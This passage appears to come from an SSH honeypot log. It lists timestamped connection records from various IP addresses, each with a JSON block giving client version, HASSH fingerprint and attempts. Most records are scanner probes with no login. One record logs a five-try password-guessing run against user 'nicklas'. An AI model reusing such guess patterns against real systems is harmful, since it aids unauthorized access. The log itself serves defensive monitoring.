  "src_ip": "181.28.211.146",
  "start_time": "2026-08-13T04:38:29.188120Z",
  "end_time": "2026-08-13T04:38:29.191434Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

181.28.211.146

2026-08-13 04:38:03.333071 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fd7ff902990f

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "fd7ff902990f",
  "src_ip": "181.28.211.146",
  "start_time": "2026-08-13T04:38:03.333071Z",
  "end_time": "2026-08-13T04:38:03.336413Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

205.210.31.99

2026-08-13 04:24:47.163843 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c3aa5a540817

Client Version: SSH-2.0-ZGrab ZGrab SSH Survey

Engagement Duration: 3.0s

HASSH Fingerprint: dd9bcf093c355da7000132131cb36fd0

{
  "id": "c3aa5a540817",
  "src_ip": "205.210.31.99",
  "start_time": "2026-08-13T04:24:47.163843Z",
  "end_time": "2026-08-13T04:24:50.118827Z",
  "duration": "3.0",
  "version": "SSH-2.0-ZGrab ZGrab SSH Survey",
  "hassh": "dd9bcf093c355da7000132131cb36fd0",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

186.17.130.184

2026-08-13 04:20:44.715725 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8ec8c63aaf83

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "8ec8c63aaf83",
  "src_ip": "186.17.130.184",
  "start_time": "2026-08-13T04:20:44.715725Z",
  "end_time": "2026-08-13T04:20:44.719204Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

186.17.130.184

2026-08-13 04:20:25.099226 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4968a944083e

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "4968a944083e",
  "src_ip": "186.17.130.184",
  "start_time": "2026-08-13T04:20:25.099226Z",
  "end_time": "2026-08-13T04:20:25.102597Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.112

2026-08-13 04:19:39.255383 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: nicklas

Record ID: b6959f52c60a

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.5s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "b6959f52c60a",
  "src_ip": "2.57.121.112",
  "start_time": "2026-08-13T04:19:39.255383Z",
  "end_time": "2026-08-13T04:19:45.778679Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "nicklas",
      "pass": "nicklas"
    },
    {
      "user": "nicklas",
      "pass": "nicklas1"
    },
    {
      "user": "nicklas",
      "pass": "nicklas123"
    },
    {
      "user": "nicklas",
      "pass": "nicklas1234"
    },
    {
      "user": "nicklas",
      "pass": "nicklas12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.233.172.225

2026-08-13 04:13:47.636321 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ea7fb198c1dd

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "ea7fb198c1dd",
  "src_ip": "91.233.172.225",
  "start_time": "2026-08-13T04:13:47.636321Z",
  "end_time": "2026-08-13T04:13:47.639869Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

91.233.172.225

2026-08-13 04:13:19.077492 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 212b8d9f4bd8

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "212b8d9f4bd8",
  "src_ip": "91.233.172.225",
  "start_time": "2026-08-13T04:13:19.077492Z",
  "end_time": "2026-08-13T04:13:19.080975Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

45.148.10.157

2026-08-13 04:05:13.900565 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 75e05ae628e6

Client Version: SSH-2.0-PUTTY

Engagement Duration: 0.8s

HASSH Fingerprint: 5bd26477da5440a6187bd3f1b39a429c

{
  "id": "75e05ae628e6",
  "src_ip": "45.148.10.157",
  "start_time": "2026-08-13T04:05:13.900565Z",
  "end_time": "2026-08-13T04:05:14.749423Z",
  "duration": "0.8",
  "version": "SSH-2.0-PUTTY",
  "hassh": "5bd26477da5440a6187bd3f1b39a429c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

187.235.129.162

2026-08-13 04:00:30.310071 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f317ebff2486

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "f317ebff2486",
  "src_ip": "187.235.129.162",
  "start_time": "2026-08-13T04:00:30.310071Z",
  "end_time": "2026-08-13T04:00:30.313576Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

187.235.129.162

2026-08-13 03:59:56.774401 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4ea48de7ae9f

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "4ea48de7ae9f",
  "src_ip": "187.235.129.162",
  "start_time": "2026-08-13T03:59:56.774401Z",
  "end_time": "2026-08-13T03:59:56.777728Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

35.187.38.161

2026-08-13 03:52:39.243279 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ce13fe363a0f

Client Version: SSH-2.0-libssh2_1.10.0

Engagement Duration: 0.8s

HASSH Fingerprint: b4b8ae3d7241d2c1dc54b4df7e8c19d1

{
  "id": "ce13fe363a0f",
  "src_ip": "35.187.38.161",
  "start_time": "2026-08-13T03:52:39.243279Z",
  "end_time": "2026-08-13T03:52:40.042513Z",
  "duration": "0.8",
  "version": "SSH-2.0-libssh2_1.10.0",
  "hassh": "b4b8ae3d7241d2c1dc54b4df7e8c19d1",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

35.187.38.161

2026-08-13 03:52:32.967673 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7e3082fa1b04

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "7e3082fa1b04",
  "src_ip": "35.187.38.161",
  "start_time": "2026-08-13T03:52:32.967673Z",
  "end_time": "2026-08-13T03:52:33.111047Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}